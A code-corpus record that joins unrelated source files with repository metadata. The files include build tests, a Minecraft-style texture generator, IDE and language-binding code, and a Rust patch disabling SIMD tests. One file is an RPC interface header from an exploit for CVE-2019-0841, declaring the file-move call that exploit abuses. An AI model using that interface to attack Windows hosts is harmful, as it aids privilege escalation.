expect_fail 12 redo-ifchange ../x/shouldfail
rm -f "$log"
cd ../inner2
expect_fail 21 redo ../x/shouldfail2
expect_fail 22 redo-ifchange ../x/shouldfail2
exit 0
| Stata | 4 | BlameJohnny/redo | t/122-defaults-parent/all.do | [
"Apache-2.0"
] |
; Handle legacy Yaki plugin tags
(import
[config [*scaled-media-base*]]
[models [search]]
[logging [getLogger]]
[lxml.etree [fromstring tostring]]
[messages [inline-message inline-table]]
[utils [compute-hmac memoize get-image-size]])
(setv log (getLogger))
(defn plugin-tagged
; searches for `plugin` tags named `tagged`
[doc]
(for [tag (.xpath doc "//plugin[contains(@name,'tagged')]")]
(let [[tagname (get tag.attrib "src")]]
(try
(.replace (.getparent tag) tag
(fromstring (inline-table ["Page" "name" "Modified" "mtime"]
(search (+ "tag:" tagname) -1))))
(catch [e Exception]
(.replace (.getparent tag) tag
(fromstring (inline-message "error" (% "Could not list pages tagged with '%s'" tagname))))))))
doc)
(defn plugin-rating
; searches for `plugin` tags named `rating`
[doc]
(for [tag (.xpath doc "//plugin[contains(@name,'rating')]")]
(let [[value (int (get tag.attrib "value"))]]
(.replace (.getparent tag) tag
(fromstring (% "<span itemprop=\"ratingValue\" class=\"rating\">%s</span>" (* "★" value))))))
doc)
(defn plugin-quicklook
; searches for `plugin` tags named `quicklook` and generates a rendering request for a 2x image
[doc pagename &optional [x 320] [y 240]]
(for [tag (.xpath doc "//plugin[contains(@name,'quicklook')]")]
(let [[src (get tag.attrib "src")]
[path (.join "/" [pagename src])]]
(.replace (.getparent tag) tag
(fromstring (% "<img class=\"quicklook lazyload\" width=\"%d\" height=\"%d\" src=\"%s/40,30,blur/%s\" data-src=\"%s/%d,%d/%s\" data-src-retina=\"%s/%d,%d/%s\"/>" (, x y *scaled-media-base* path *scaled-media-base* x y path *scaled-media-base* (* 2 x) (* 2 y) path))))))
doc)
| Hy | 4 | CyberFlameGO/sushy | sushy/plugins.hy | [
"MIT"
] |
//tab_size=4
// Copyright 2021 nickmqb
// SPDX-License-Identifier: Apache-2.0
// Syntax:
// "x.png": Load texture
// "a.png|b.png": Overlay b on top of a
// "a.png,FF80FF": Multiply all pixels with specified hex color
Ids {
:bedrock = "bedrock.png"
:birch_leaves = "birch_leaves.png,ABCC79"
:birch_log = "birch_log.png"
:birch_log_top = "birch_log_top.png"
:birch_planks = "birch_planks.png"
:bookshelf = "bookshelf.png"
:bricks = "bricks.png"
:cactus_side = "cactus_side.png"
:cactus_top = "cactus_top.png"
:coal_ore = "coal_ore.png"
:cobblestone = "cobblestone.png"
:cracked_animated = "custom_cracked.png"
:diamond_block = "diamond_block.png"
:diamond_ore = "diamond_ore.png"
:dirt = "dirt.png"
:door_bottom = "spruce_door_bottom.png"
:door_top = "spruce_door_top.png"
:furnace_front = "furnace_front.png"
:furnace_side = "furnace_side.png"
:furnace_top = "furnace_top.png"
:gold_block = "gold_block.png"
:gold_ore = "gold_ore.png"
:grass_side = "grass_block_side.png|grass_block_side_overlay.png,6DC952"
:grass_top = "grass_block_top.png,6DC952"
:gravel = "gravel.png"
:ice = "ice.png"
:iron_block = "iron_block.png"
:iron_ore = "iron_ore.png"
:lamp = "glowstone.png"
:lava_animated = "lava_still.png"
:oak_leaves = "oak_leaves.png,63AA3B"
:oak_log = "oak_log.png"
:oak_log_top = "oak_log_top.png"
:oak_planks = "oak_planks.png"
:obsidian = "obsidian.png"
:portal_2_animated = "nether_portal.png"
:portal_3 = "custom_portal_3.png"
:rocket = "custom_rocket.png"
:sand = "sand.png"
:sandstone_bottom = "sandstone_bottom.png"
:sandstone = "sandstone.png"
:sandstone_top = "sandstone_top.png"
:snow = "snow.png"
:snow_side = "grass_block_snow.png"
:spruce_leaves = "spruce_leaves.png,54915A"
:spruce_leaves_snow_side = "spruce_leaves.png,54915A|grass_block_snow.png,EXTRACT"
:spruce_log = "spruce_log.png"
:spruce_log_top = "spruce_log_top.png"
:spruce_planks = "spruce_planks.png"
:stone = "stone.png"
:stone_bricks = "stone_bricks.png"
:water_bucket = "custom_water_bucket.png"
}
generate() {
// Note: if a block uses >2 textures, they must all be in the same group of 16 (i.e. their ids may only differ in the last 4 bits)
map := new Map.create<string, int>()
map.add(Ids.oak_planks, 0)
map.add(Ids.bookshelf, 1)
map.add(Ids.furnace_front, 2)
map.add(Ids.furnace_side, 3)
map.add(Ids.furnace_top, 4)
map.add(Ids.sandstone, 5)
map.add(Ids.sandstone_bottom, 6)
map.add(Ids.sandstone_top, 7)
map.add(Ids.dirt, 16)
map.add(Ids.grass_top, 17)
map.add(Ids.grass_side, 18)
map.add(Ids.snow, 19)
map.add(Ids.snow_side, 20)
map.add(Ids.spruce_leaves, 21)
map.add(Ids.spruce_leaves_snow_side, 22)
map.add(Ids.birch_log, 23)
map.add(Ids.birch_log_top, 24)
map.add(Ids.oak_log, 25)
map.add(Ids.oak_log_top, 26)
map.add(Ids.spruce_log, 27)
map.add(Ids.spruce_log_top, 28)
map.add(Ids.lava_animated, 124)
map.add(Ids.portal_2_animated, 125)
map.add(Ids.cracked_animated, 126)
map.add(Ids.water_bucket, 127)
ig := BlockInfoGenerator.generate(map)
textures := new Array<string>(128)
for e in map {
textures[e.value] = e.key
}
generateCode(textures, ig)
generateTextMapping(ig)
numTextures := 0
for tx in textures {
if tx != "" {
numTextures += 1
}
}
Stdout.writeLine(format("{}/128 textures; {}/256 block info entries", numTextures, ig.names.count))
}
TextureInfo struct #RefType {
name string
mulColor string
overlay TextureInfo
}
parseTextureInfo(s string) TextureInfo {
result := new TextureInfo{}
sep := s.indexOf("|")
if sep >= 0 {
result.overlay = parseTextureInfo(s.slice(sep + 1, s.length))
s = s.slice(0, sep)
}
sep = s.indexOf(",")
if sep >= 0 {
result.mulColor = s.slice(sep + 1, s.length)
s = s.slice(0, sep)
}
result.name = s
return result
}
writeLine(sb StringBuilder, s string) {
sb.write(s)
sb.write("\n")
}
writeTextureLoad(sb StringBuilder, ti TextureInfo) {
sb.write("(loadTexture_checked(\"../textures/")
sb.write(ti.name)
sb.write("\")")
if ti.mulColor != "" {
if ti.mulColor == "EXTRACT" {
sb.write(".extractOverlay(160)")
} else {
sb.write(format(".mulColor(hexToColor(\"{}\"))", ti.mulColor))
}
}
sb.write(")")
if ti.overlay != null {
sb.write(".add")
writeTextureLoad(sb, ti.overlay)
}
}
generateCode(textures Array<string>, ig BlockInfoGenerator) {
sb := new StringBuilder{}
writeLine(sb, "// Auto generated, don't modify directly\n")
writeLine(sb, "setTextures(textures Array<*Image>) {")
for i := 0; i < 128 {
ts := textures[i]
if ts == Ids.cracked_animated || ts == Ids.lava_animated || ts == Ids.portal_2_animated {
ti := parseTextureInfo(ts)
sb.write(format("\ttextures[{}] = loadAnimatedTexture_checked(\"../textures/", i))
sb.write(ti.name)
sb.write("\")\n")
} else if ts != ""{
ti := parseTextureInfo(ts)
sb.write(format("\ttextures[{}] = ", i))
writeTextureLoad(sb, ti)
sb.write("\n")
} else {
writeLine(sb, format("\ttextures[{}] = new Image(16, 16)", i))
}
}
writeLine(sb, "}\n")
writeLine(sb, "Blocks {")
lastName := ""
for name, i in ig.names {
if name != lastName {
if name != "none" {
sb.write(format("\t:{} = {}_b // 0x", name, i))
cast(i, ulong).writeHexTo(sb)
sb.write("\n")
}
lastName = name
}
}
writeLine(sb, "}\n")
writeLine(sb, "setBlockInfos(infos Array<BlockInfo>) {")
for inf, i in ig.infos {
writeLine(sb, format("\tinfos[{}] = BlockInfo { textureBits: {}, infoBits: {} }", i, inf.textureBits, inf.infoBits))
}
writeLine(sb, "}")
assert(File.tryWriteString("../data_gen/generated_block_info.mu", sb.compactToString()))
}
generateTextMapping(ig BlockInfoGenerator) {
sb := new StringBuilder{}
lastName := ""
for name, i in ig.names {
if name != lastName {
if name != "none" {
writeLine(sb, format("{} {}", i, name))
}
lastName = name
}
}
assert(File.tryWriteString("block_info.txt", sb.compactToString()))
}
BlockInfoGenerator struct #RefType {
infos List<BlockInfo>
names List<string>
textureLookup Map<string, int>
usedTextures Array<bool>
generate(textureLookup Map<string, int>) {
g := new BlockInfoGenerator {
infos: new List<BlockInfo>{},
names: new List<string>{},
textureLookup: textureLookup,
usedTextures: new Array<bool>(128),
}
for p in textureLookup {
g.usedTextures[p.value] = true
}
// 0-1: transparent; 0-7: walkable
simple(g, "air", Ids.diamond_block)
simple(g, "water", Ids.water_bucket)
simple(g, "lava", Ids.lava_animated)
simple(g, "portal_3", Ids.portal_3)
simple(g, "portal_2", Ids.portal_2_animated) // x dir
simple(g, "portal_2", Ids.portal_2_animated) // z dir
simple(g, "none", Ids.diamond_block)
simple(g, "none", Ids.diamond_block)
simpleRepeated(g, "none", Ids.diamond_block, 8)
// 16-31: light emitters
simple(g, "lamp", Ids.lamp)
simpleRepeated(g, "none", Ids.diamond_block, 15)
assert(g.infos.count == 32)
rotatedGeneric4(g, "bookshelf", Ids.oak_planks, Ids.oak_planks, Ids.bookshelf, Ids.oak_planks)
rotatedGeneric4(g, "furnace", Ids.furnace_top, Ids.furnace_top, Ids.furnace_front, Ids.furnace_side)
rotated3(g, "birch_log", Ids.birch_log_top, Ids.birch_log)
simple(g, "birch_log", Ids.birch_log)
topBottomSide(g, "grass_snow", Ids.snow, Ids.dirt, Ids.snow_side)
rotated3(g, "oak_log", Ids.oak_log_top, Ids.oak_log)
simple(g, "oak_log", Ids.oak_log)
topBottomSide(g, "grass", Ids.grass_top, Ids.dirt, Ids.grass_side)
rotated3(g, "spruce_log", Ids.spruce_log_top, Ids.spruce_log)
simple(g, "spruce_log", Ids.spruce_log)
topBottomSide(g, "spruce_leaves_snow", Ids.snow, Ids.spruce_leaves, Ids.spruce_leaves_snow_side)
assert(g.infos.count % 2 == 0)
topSide(g, "door_bottom", Ids.spruce_planks, Ids.door_bottom)
topSide(g, "door_top", Ids.spruce_planks, Ids.door_top)
addInfoBits(g, 1 << 12, 2)
simple(g, "cobblestone", Ids.cobblestone)
simple(g, "obsidian", Ids.obsidian)
simple(g, "rocket", Ids.rocket)
simple(g, "bedrock", Ids.bedrock)
topBottomSide(g, "sandstone", Ids.sandstone_top, Ids.sandstone_bottom, Ids.sandstone)
simple(g, "birch_leaves", Ids.birch_leaves)
simple(g, "birch_planks", Ids.birch_planks)
simple(g, "bricks", Ids.bricks)
topSide(g, "cactus", Ids.cactus_top, Ids.cactus_side)
simple(g, "coal_ore", Ids.coal_ore)
simple(g, "diamond_block", Ids.diamond_block)
simple(g, "diamond_ore", Ids.diamond_ore)
simple(g, "dirt", Ids.dirt)
simple(g, "gold_block", Ids.gold_block)
simple(g, "gold_ore", Ids.gold_ore)
simple(g, "gravel", Ids.gravel)
addInfoBits(g, 1 << 11, 1)
simple(g, "ice", Ids.ice)
simple(g, "iron_block", Ids.iron_block)
simple(g, "iron_ore", Ids.iron_ore)
simple(g, "oak_leaves", Ids.oak_leaves)
simple(g, "oak_planks", Ids.oak_planks)
simple(g, "sand", Ids.sand)
addInfoBits(g, 1 << 11, 1)
simple(g, "snow", Ids.snow)
simple(g, "spruce_leaves", Ids.spruce_leaves)
simple(g, "spruce_planks", Ids.spruce_planks)
simple(g, "stone", Ids.stone)
simple(g, "stone_bricks", Ids.stone_bricks)
return g
}
simple(g BlockInfoGenerator, name string, tex string) {
topSide(g, name, tex, tex)
}
simpleRepeated(g BlockInfoGenerator, name string, tex string, n int) {
for i := 0; i < n {
simple(g, name, tex)
}
}
topSide(g BlockInfoGenerator, name string, top string, side string) {
g.alloc(top)
g.alloc(side)
iside := g.textureLookup.get(side)
g.infos.add(BlockInfo { textureBits: (g.textureLookup.get(top) << 7) | iside, infoBits: iside })
g.names.add(name)
}
topBottomSide(g BlockInfoGenerator, name string, top string, bottom string, side string) {
generic(g, name, top, bottom, side, side, side, side)
}
rotated3(g BlockInfoGenerator, name string, top string, side string) {
assert(g.infos.count % 8 == 0)
generic(g, name, side, side, top, side, top, side)
generic(g, name, side, side, side, top, side, top)
setRotate3(g)
topSide(g, name, top, side)
}
rotatedGeneric4(g BlockInfoGenerator, name string, top string, bottom string, front string, side string) {
assert(g.infos.count % 8 == 0)
generic(g, name, top, bottom, front, side, side, side)
generic(g, name, top, bottom, side, front, side, side)
generic(g, name, top, bottom, side, side, front, side)
generic(g, name, top, bottom, side, side, side, front)
setRotate4(g)
}
rotatedGeneric4_alt(g BlockInfoGenerator, name string, top string, bottom string, side string, back string) {
assert(g.infos.count % 8 == 0)
generic(g, name, top, bottom, side, side, back, side)
generic(g, name, top, bottom, side, side, side, back)
generic(g, name, top, bottom, back, side, side, side)
generic(g, name, top, bottom, side, back, side, side)
setRotate4(g)
}
rotatedGeneric4_opp(g BlockInfoGenerator, name string, top string, bottom string, front string, side string) {
assert(g.infos.count % 8 == 0)
generic(g, name, top, bottom, front, side, front, side)
generic(g, name, top, bottom, side, front, side, front)
generic(g, name, top, bottom, front, side, front, side)
generic(g, name, top, bottom, side, front, side, front)
setRotate4(g)
}
rotatedGeneric4_corner(g BlockInfoGenerator, name string, top string, bottom string, front string, side string, other string) {
assert(g.infos.count % 8 == 0)
generic(g, name, top, bottom, front, side, other, other)
generic(g, name, top, bottom, other, front, side, other)
generic(g, name, top, bottom, other, other, front, side)
generic(g, name, top, bottom, side, other, other, front)
setRotate4(g)
}
setRotate3(g BlockInfoGenerator) {
for i := -4; i < 0 {
if i & 1 == 0 {
g.infos[g.infos.count + i].textureBits |= (1 << 15) // Rotate texture
}
g.infos[g.infos.count + i].infoBits |= (1 << 9) | (1 << 8)
}
}
setRotate4(g BlockInfoGenerator) {
for i := -8; i < 0 {
g.infos[g.infos.count + i].infoBits |= (1 << 8)
}
}
addInfoBits(g BlockInfoGenerator, infoBits int, n int) {
for i := -n; i < 0 {
g.infos[g.infos.count + i].infoBits |= infoBits
}
}
generic(g BlockInfoGenerator, name string, top string, bottom string, z0 string, x1 string, z1 string, x0 string) {
g.alloc(top)
g.alloc(bottom)
g.alloc(z0)
g.alloc(x1)
g.alloc(z1)
g.alloc(x0)
assert(g.infos.count % 2 == 0)
itop := g.textureLookup.get(top)
iz0 := g.textureLookup.get(z0)
g.infos.add(BlockInfo { textureBits: ((1 << 14) | (itop << 7) | g.textureLookup.get(z0)), infoBits: iz0 })
g.names.add(name)
ibottom := g.textureLookup.get(bottom)
ix1 := g.textureLookup.get(x1)
iz1 := g.textureLookup.get(z1)
ix0 := g.textureLookup.get(x0)
assert(itop & ~0xf == ibottom & ~0xf)
assert(itop & ~0xf == ix1 & ~0xf)
assert(itop & ~0xf == iz1 & ~0xf)
assert(itop & ~0xf == ix0 & ~0xf)
g.infos.add(BlockInfo { textureBits: ((ix0 & 0xf) << 12) | ((iz1 & 0xf) << 8) | ((ix1 & 0xf) << 4) | (ibottom & 0xf), infoBits: iz0 | (1 << 7) })
g.names.add(name)
}
alloc(g BlockInfoGenerator, name string) {
if g.textureLookup.containsKey(name) {
return
}
for u, i in g.usedTextures {
if !u {
g.textureLookup.add(name, i)
g.usedTextures[i] = true
return
}
}
Stderr.writeLine("No more available textures")
abandon()
}
}
| mupad | 5 | nickmqb/fpga_craft | block_info_gen/block_info_generator.mu | [
"Apache-2.0"
] |
package com.baeldung.jna;
import static org.junit.jupiter.api.Assertions.*;
import org.junit.BeforeClass;
import org.junit.jupiter.api.Test;
import com.sun.jna.Native;
import com.sun.jna.Platform;
import com.sun.jna.Pointer;
class StdCUnitTest {
@BeforeClass
public static void setupProtectedMode() {
Native.setProtected(true);
}
@Test
public void whenMalloc_thenSuccess() {
StdC lib = StdC.INSTANCE;
Pointer p = lib.malloc(1024);
p.setMemory(0l, 1024l, (byte) 0);
lib.free(p);
}
@Test
public void whenAccessViolation_thenShouldThrowError() {
// Running this test on Linux requires additional setup using libjsig.so
// Details here: http://java-native-access.github.io/jna/5.6.0/javadoc/overview-summary.html#crash-protection
// IMPORTANT NOTICE: Code for illustration purposes only. DON'T DO THIS IN YOUR OWN CODE
if ( Platform.isWindows()) {
Error e = null;
Pointer p = new Pointer(0l);
try {
p.setMemory(0, 100*1024, (byte) 0);
}
catch(Error err) {
e = err;
}
assertNotNull(e, "Should throw Error");
}
}
}
| Java | 4 | DBatOWL/tutorials | java-native/src/test/java/com/baeldung/jna/StdCUnitTest.java | [
"MIT"
] |
/********************************************************************************
* Copyright (c) {date} Red Hat Inc. and/or its affiliates and others
*
* This program and the accompanying materials are made available under the
* terms of the Apache License, Version 2.0 which is available at
* http://www.apache.org/licenses/LICENSE-2.0
*
* SPDX-License-Identifier: Apache-2.0
********************************************************************************/
import com.intellij.compiler {
CompilerConfiguration
}
import com.intellij.openapi.components {
ProjectComponent
}
import com.intellij.openapi.\imodule {
IdeaModule=Module
}
import com.intellij.openapi.project {
IdeaProject=Project
}
import com.intellij.openapi.vfs {
VirtualFile,
JarFileSystem
}
import org.eclipse.ceylon.ide.common.model {
CeylonProjects,
ModelListenerAdapter
}
import org.eclipse.ceylon.ide.common.typechecker {
ExternalPhasedUnit
}
import org.eclipse.ceylon.ide.intellij.platform {
ideaPlatformServices
}
import org.eclipse.ceylon.ide.intellij.psi {
CeylonFile
}
import com.intellij.codeInsight.intention {
IntentionManager
}
import org.eclipse.ceylon.ide.intellij.correct {
AbstractIntention
}
import org.eclipse.ceylon.ide.intellij.messages {
BackendMessageHandler
}
import com.intellij.compiler.server {
BuildManagerListener,
CustomBuilderMessageHandler
}
import com.intellij.util.messages {
MessageBusConnection
}
shared class IdeaCeylonProjects(shared IdeaProject ideaProject)
extends CeylonProjects<IdeaModule,VirtualFile,VirtualFile,VirtualFile>()
satisfies ProjectComponent {
ideaPlatformServices.register();
object ceylonProjectCleaner satisfies ModelListenerAdapter<IdeaModule,VirtualFile,VirtualFile,VirtualFile> {
shared actual void ceylonProjectRemoved(CeylonProjectAlias ceylonProject) {
assert (is IdeaCeylonProject ceylonProject);
ceylonProject.clean();
}
}
value buildListener = BackendMessageHandler(ideaProject);
late MessageBusConnection busConnection;
newNativeProject(IdeaModule ideArtifact) => IdeaCeylonProject(ideArtifact, this);
componentName => "CeylonProjects";
shared actual void initComponent() {
addModelListener(ceylonProjectCleaner);
busConnection = ideaProject.messageBus.connect();
busConnection.subscribe(BuildManagerListener.topic, buildListener);
busConnection.subscribe(CustomBuilderMessageHandler.topic, buildListener);
}
shared actual void disposeComponent() {
removeModelListener(ceylonProjectCleaner);
busConnection.disconnect();
}
shared actual void projectClosed() {
clearProjects();
for (intention in IntentionManager.instance.intentionActions) {
if (is AbstractIntention intention) {
intention.clear();
}
}
}
shared actual void projectOpened() {
// Do not treat .ceylon files as resources, otherwise they are copied in the output directory during compilation
value compilerConfiguration = CompilerConfiguration.getInstance(ideaProject);
if (compilerConfiguration.isResourceFile("lol.ceylon")) {
compilerConfiguration.addResourceFilePattern("!?*.ceylon");
}
}
shared String[2]? parseExternalPhasedUnitFullPath(<CeylonFile|VirtualFile>? file) {
if (exists file,
exists path = if (is CeylonFile file) then file.virtualFile?.path else file.path,
exists offset = path.firstInclusion(JarFileSystem.jarSeparator)) {
value start
= path.startsWith(JarFileSystem.protocolPrefix)
then JarFileSystem.protocolPrefix.size
else 0;
value archivePath = path[start..offset-1];
value filePath = path[offset + JarFileSystem.jarSeparator.size...];
return [archivePath, filePath];
}
else {
return null;
}
}
IdeModuleAlias? findModuleForParsedArchivePaths(String[2]? parsedArchivePaths)
=> if (exists [first, second] = parsedArchivePaths)
then
{ for (project in ceylonProjects)
if (exists modules = project.modules)
for (mod in modules.external)
if (exists sap = mod.sourceArchivePath, sap == first,
mod.containsPhasedUnitWithRelativePath(second))
mod }.first
else null;
shared IdeModuleAlias? findModuleForExternalPhasedUnit(<CeylonFile|VirtualFile>? file)
=> findModuleForParsedArchivePaths(parseExternalPhasedUnitFullPath(file));
shared ExternalPhasedUnit? findExternalPhasedUnit(<CeylonFile|VirtualFile>? file)
=> let (parsedArchivePaths = parseExternalPhasedUnitFullPath(file))
if (exists parsedArchivePaths)
then findModuleForParsedArchivePaths(parsedArchivePaths)
?.getPhasedUnitFromRelativePath(parsedArchivePaths[1])
else null;
} | Ceylon | 3 | Kopilov/ceylon-ide-intellij | source/org/eclipse/ceylon/ide/intellij/model/IdeaCeylonProjects.ceylon | [
"Apache-2.0"
] |
// Copyright (c) 2020 GitHub, Inc.
// Use of this source code is governed by the MIT license that can be
// found in the LICENSE file.
#ifndef SHELL_COMMON_GIN_CONVERTERS_TIME_CONVERTER_H_
#define SHELL_COMMON_GIN_CONVERTERS_TIME_CONVERTER_H_
#include "gin/converter.h"
namespace base {
class Time;
}
namespace gin {
template <>
struct Converter<base::Time> {
static v8::Local<v8::Value> ToV8(v8::Isolate* isolate, const base::Time& val);
};
} // namespace gin
#endif // SHELL_COMMON_GIN_CONVERTERS_TIME_CONVERTER_H_
| C | 3 | TarunavBA/electron | shell/common/gin_converters/time_converter.h | [
"MIT"
] |
//===--- Error.h - Swift Concurrency error helpers --------------*- C++ -*-===//
//
// This source file is part of the Swift.org open source project
//
// Copyright (c) 2014 - 2020 Apple Inc. and the Swift project authors
// Licensed under Apache License v2.0 with Runtime Library Exception
//
// See https://swift.org/LICENSE.txt for license information
// See https://swift.org/CONTRIBUTORS.txt for the list of Swift project authors
//
//===----------------------------------------------------------------------===//
//
// Error handling support.
//
//===----------------------------------------------------------------------===//
#ifndef SWIFT_CONCURRENCY_ERRORS_H
#define SWIFT_CONCURRENCY_ERRORS_H
#include "../SwiftShims/Visibility.h"
#include <cstdint>
#include <stdlib.h>
namespace swift {
SWIFT_NORETURN void swift_Concurrency_fatalError(uint32_t flags, const char *format, ...);
} // namespace swift
#endif
| C | 4 | gandhi56/swift | stdlib/public/Concurrency/Error.h | [
"Apache-2.0"
] |
module example
import StdEnv
qsort :: [Int] -> [Int]
qsort [] = []
qsort [p:l] = (qsort [x \\ x<-l | x<p])
++[p]
++(qsort [x \\ x<-l | x>=p])
Start :: [Int]
Start = qsort [3,5,1,4,2]
| Clean | 3 | OfekShilon/compiler-explorer | examples/clean/qsort.icl | [
"BSD-2-Clause"
] |
/* this ALWAYS GENERATED file contains the definitions for the interfaces */
/* File created by MIDL compiler version 8.00.0603 */
/* at Tue Jul 02 08:26:16 2019
*/
/* Compiler settings for rpc.idl:
Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.00.0603
protocol : dce , ms_ext, c_ext, robust
error checks: allocation ref bounds_check enum stub_data
VC __declspec() decoration level:
__declspec(uuid()), __declspec(selectany), __declspec(novtable)
DECLSPEC_UUID(), MIDL_INTERFACE()
*/
/* @@MIDL_FILE_HEADING( ) */
#pragma warning( disable: 4049 ) /* more than 64k source lines */
/* verify that the <rpcndr.h> version is high enough to compile this file*/
#ifndef __REQUIRED_RPCNDR_H_VERSION__
#define __REQUIRED_RPCNDR_H_VERSION__ 475
#endif
#include "rpc.h"
#include "rpcndr.h"
#ifndef __RPCNDR_H_VERSION__
#error this stub requires an updated version of <rpcndr.h>
#endif // __RPCNDR_H_VERSION__
#ifndef __rpc_h_h__
#define __rpc_h_h__
#if defined(_MSC_VER) && (_MSC_VER >= 1020)
#pragma once
#endif
/* Forward Declarations */
/* header files for imported files */
#include "oaidl.h"
#include "ocidl.h"
#ifdef __cplusplus
extern "C"{
#endif
#ifndef __DefaultIfName_INTERFACE_DEFINED__
#define __DefaultIfName_INTERFACE_DEFINED__
/* interface DefaultIfName */
/* [version][uuid] */
typedef struct Struct_22_t
{
long StructMember0;
short StructMember1;
short StructMember2;
byte StructMember3[ 8 ];
} Struct_22_t;
typedef struct Struct_34_t
{
long StructMember0;
wchar_t StructMember1[ 260 ];
long StructMember2;
short StructMember3;
short StructMember4;
long StructMember5;
short StructMember6;
short StructMember7;
struct Struct_22_t StructMember8;
long StructMember9;
hyper StructMember10;
wchar_t StructMember11[ 260 ];
long StructMember12;
long StructMember13;
} Struct_34_t;
typedef struct Struct_76_t
{
long StructMember0[ 2 ];
} Struct_76_t;
typedef struct Struct_90_t
{
long StructMember0;
short StructMember1;
long StructMember2;
short StructMember3;
short StructMember4;
} Struct_90_t;
typedef struct Struct_112_t
{
long StructMember0;
long StructMember1;
long StructMember2;
short StructMember3;
} Struct_112_t;
typedef struct Struct_134_t
{
long StructMember0;
short StructMember1;
long StructMember2;
long StructMember3;
long StructMember4;
} Struct_134_t;
typedef struct Struct_162_t
{
double StructMember0;
wchar_t StructMember1[ 39 ];
} Struct_162_t;
long Proc0(
/* [in] */ handle_t IDL_handle,
/* [in] */ short arg_1,
/* [in] */ long arg_2,
/* [in] */ long arg_3);
long Proc1(
/* [in] */ handle_t IDL_handle,
/* [in] */ short arg_1,
/* [in] */ long arg_2,
/* [in] */ long arg_3);
long Proc2(
/* [in] */ handle_t IDL_handle,
/* [in] */ short arg_1,
/* [in] */ long arg_2,
/* [in] */ long arg_3);
long Proc3(
/* [in] */ handle_t IDL_handle,
/* [in] */ short arg_1,
/* [out] */ long *arg_2);
long Proc4(
/* [in] */ handle_t IDL_handle,
/* [in] */ short arg_1,
/* [in] */ long arg_2,
/* [out][in] */ struct Struct_34_t *arg_3);
long Proc5(
/* [in] */ handle_t IDL_handle,
/* [in] */ short arg_1,
/* [in] */ short arg_2,
/* [in] */ long arg_3,
/* [out] */ struct Struct_76_t *arg_4);
long Proc6(
/* [in] */ handle_t IDL_handle,
/* [in] */ long arg_1,
/* [in] */ long arg_2,
/* [in] */ long arg_3);
long Proc7(
/* [in] */ handle_t IDL_handle,
/* [in] */ long arg_1,
/* [in] */ long arg_2);
long Proc8(
/* [in] */ handle_t IDL_handle,
/* [in] */ long arg_1,
/* [in] */ long arg_2);
long Proc9(
/* [in] */ handle_t IDL_handle,
/* [in] */ short arg_1,
/* [in] */ long arg_2);
long Proc10(
/* [in] */ handle_t IDL_handle,
/* [in] */ short arg_1,
/* [in] */ long arg_2,
/* [in] */ short arg_3,
/* [out] */ long *arg_4);
long Proc11(
/* [in] */ handle_t IDL_handle,
/* [in] */ short arg_1,
/* [in] */ long arg_2,
/* [in] */ short arg_3,
/* [in] */ long arg_4);
long Proc12(
/* [in] */ handle_t IDL_handle,
/* [in] */ struct Struct_90_t *arg_1);
long Proc13(
/* [in] */ handle_t IDL_handle,
/* [in] */ short arg_1,
/* [in] */ long arg_2);
__int3264 SvcMoveFileInheritSecurity(
/* [in] */ handle_t IDL_handle,
/* [string][in] */ wchar_t *src,
/* [string][in] */ wchar_t *dest,
/* [in] */ long flags);
long Proc15(
/* [in] */ handle_t IDL_handle,
/* [in] */ short arg_1,
/* [in] */ long arg_2,
/* [out][in] */ struct Struct_112_t *arg_3);
long Proc16(
/* [in] */ handle_t IDL_handle);
long Proc17(
/* [in] */ handle_t IDL_handle,
/* [in] */ short arg_1,
/* [in] */ long arg_2);
long Proc18(
/* [in] */ handle_t IDL_handle,
/* [in] */ short arg_1,
/* [out] */ long *arg_2);
long Proc19(
/* [in] */ handle_t IDL_handle,
/* [in] */ short arg_1,
/* [string][unique][in] */ wchar_t *arg_2,
/* [out] */ long *arg_3);
long Proc20(
/* [in] */ handle_t IDL_handle,
/* [in] */ short arg_1,
/* [string][unique][in] */ wchar_t *arg_2,
/* [in] */ long arg_3);
long Proc21(
/* [in] */ handle_t IDL_handle,
/* [out][in] */ struct Struct_134_t *arg_1);
extern RPC_IF_HANDLE DefaultIfName_v0_0_c_ifspec;
extern RPC_IF_HANDLE DefaultIfName_v0_0_s_ifspec;
#endif /* __DefaultIfName_INTERFACE_DEFINED__ */
/* Additional Prototypes for ALL interfaces */
/* end of Additional Prototypes */
#ifdef __cplusplus
}
#endif
#endif
| C | 3 | OsmanDere/metasploit-framework | external/source/exploits/CVE-2019-0841/rpc_h.h | [
"BSD-2-Clause",
"BSD-3-Clause"
] |
/* ******************************************************************************
## HPCC SYSTEMS software Copyright (C) 2012 HPCC Systems®. All rights reserved.
******************************************************************************/
IMPORT $ AS Certification;
out_file := DATASET(Certification.Setup.Sprayfile, Certification.Layout_FullFormat, THOR);
COUNT(out_file);
OUTPUT(out_file);
| ECL | 3 | miguelvazq/HPCC-Platform | initfiles/examples/_Certification/spray_verification.ecl | [
"Apache-2.0"
] |
From 97c473937382a5b5858d9cce3c947855d23b2dc5 Mon Sep 17 00:00:00 2001
From: bjorn3 <[email protected]>
Date: Thu, 18 Nov 2021 19:28:40 +0100
Subject: [PATCH] Disable unsupported tests
---
crates/core_simd/src/math.rs | 6 ++++++
crates/core_simd/src/vector.rs | 2 ++
crates/core_simd/tests/masks.rs | 2 ++
crates/core_simd/tests/ops_macros.rs | 4 ++++
4 files changed, 14 insertions(+)
diff --git a/crates/core_simd/src/math.rs b/crates/core_simd/src/math.rs
index 2bae414..2f87499 100644
--- a/crates/core_simd/src/math.rs
+++ b/crates/core_simd/src/math.rs
@@ -5,6 +5,7 @@ macro_rules! impl_uint_arith {
($($ty:ty),+) => {
$( impl<const LANES: usize> Simd<$ty, LANES> where LaneCount<LANES>: SupportedLaneCount {
+ /*
/// Lanewise saturating add.
///
/// # Examples
@@ -43,6 +44,7 @@ macro_rules! impl_uint_arith {
pub fn saturating_sub(self, second: Self) -> Self {
unsafe { simd_saturating_sub(self, second) }
}
+ */
})+
}
}
@@ -51,6 +53,7 @@ macro_rules! impl_int_arith {
($($ty:ty),+) => {
$( impl<const LANES: usize> Simd<$ty, LANES> where LaneCount<LANES>: SupportedLaneCount {
+ /*
/// Lanewise saturating add.
///
/// # Examples
@@ -89,6 +92,7 @@ macro_rules! impl_int_arith {
pub fn saturating_sub(self, second: Self) -> Self {
unsafe { simd_saturating_sub(self, second) }
}
+ */
/// Lanewise absolute value, implemented in Rust.
/// Every lane becomes its absolute value.
@@ -109,6 +113,7 @@ macro_rules! impl_int_arith {
(self^m) - m
}
+ /*
/// Lanewise saturating absolute value, implemented in Rust.
